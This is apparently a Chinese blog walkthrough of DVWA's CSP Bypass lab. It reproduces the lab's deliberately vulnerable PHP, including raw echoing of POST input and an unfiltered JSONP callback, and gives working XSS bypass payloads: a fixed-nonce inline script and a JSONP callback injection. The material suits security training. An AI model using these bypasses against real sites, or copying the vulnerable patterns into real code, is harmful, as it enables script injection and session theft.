CSP 的主要目标是减少和报告 XSS 攻击。XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行,因为浏览器信任其内容来源,即使有的时候这些脚本并非来自于它本该来的地方。
CSP 通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除 XSS 攻击所依赖的载体。一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本(包括内联脚本和 HTML 的事件处理属性)。
Low
观察后端代码,设置了CSP规则,只允许加载白名单域名的文件。
本是用https://pastebin.com的,但是我这里一直不弹窗。我就直接在服务器上写了个js文件,因为CSP规则有self,可以加载本身域名的文件的。
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com https://digi.ninja ;"; // allows js from self, pastebin.com, hastebin.com, jquery, digi.ninja, and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}·
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
<p>
As Pastebin and Hastebin have stopped working, here are some scripts that may, or may not help.
</p>
<ul>
<li>https://digi.ninja/dvwa/alert.js</li>
<li>https://digi.ninja/dvwa/alert.txt</li>
<li>https://digi.ninja/dvwa/cookie.js</li>
<li>https://digi.ninja/dvwa/forced_download.js</li>
<li>https://digi.ninja/dvwa/wrong_content_type.js</li>
</ul>
<p>
Pretend these are on a server like Pastebin and try to work out why some work and some do not work. Check the help for an explanation if you get stuck.
</p>
';
会出现弹窗
Medium
观察后端代码,此CSP允许来自自身和内联脚本(HTML 文档中直接包含的 JavaScript 代码),但是内联脚本必须包含指定的nonce,这里nonce是固定的,一般是一个单次使用的字符串(内敛脚本的nonce通过CSP才可以执行)。
这里绕过的话直接插入一个nonce为TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=的脚本
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("xss")</script>
High
观察代码
前端
high.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
后端
high.php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
jsonp.php
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
涉及到了JSONP技术,可以了解一下。
执行过程:
- 用户点击按钮,调用clickButton()函数。
- clickButton 函数动态创建
<script>
标签,设置其 src 属性并将其添加到文档中。 - 之后浏览器请求source/jsonp.php?callback=solveSum
- jsonp.php处理请求并输出 solveSum({“answer”:15}); 作为响应。
- 浏览器接收到响应,执行返回的 JavaScript 代码 solveSum({“answer”:15});(使用JSONP,JSON响应数据是合法的JavaScript代码)。
- high.js定义的 solveSum 函数被调用,并更新页面显示的内容。
关于攻击,我们发现jsonp.php的callback没有做任何过滤,我们就主动请求json.php把callback写为alert(“xss”),在echo $callback . "(".json_encode($outp).")";
中,alert(“xss”)会被放在前端执行。
如何请求json.php呢,在high.php中有接受POST的include参数,也没有任何过滤,我们可以直接向includePOST一个js语句,加载到前端,并执行去请求jsonp.php。
payload为include=<script src="source/jsonp.php?callback=alert("xss");"></script>
用hackbar提交POST请求
看下jsonp.php返回的数据
被前端执行(使用JSONP,JSON响应数据是合法的JavaScript代码,当它到达浏览器将执行它)。
Impossible
查看jsonp_impossible.php代码,发现没有callback参数了,JSON响应格式也是写死的。
前端收到JSON响应数据后也只能调用solveSum函数。
<?php
header("Content-Type: application/json; charset=UTF-8");
$outp = array ("answer" => "15");
echo "solveSum (".json_encode($outp).")";
?>
标签:DVWA,CSP,callback,Bypass,jsonp,js,php,page
From: https://blog.csdn.net/weixin_45436292/article/details/139325431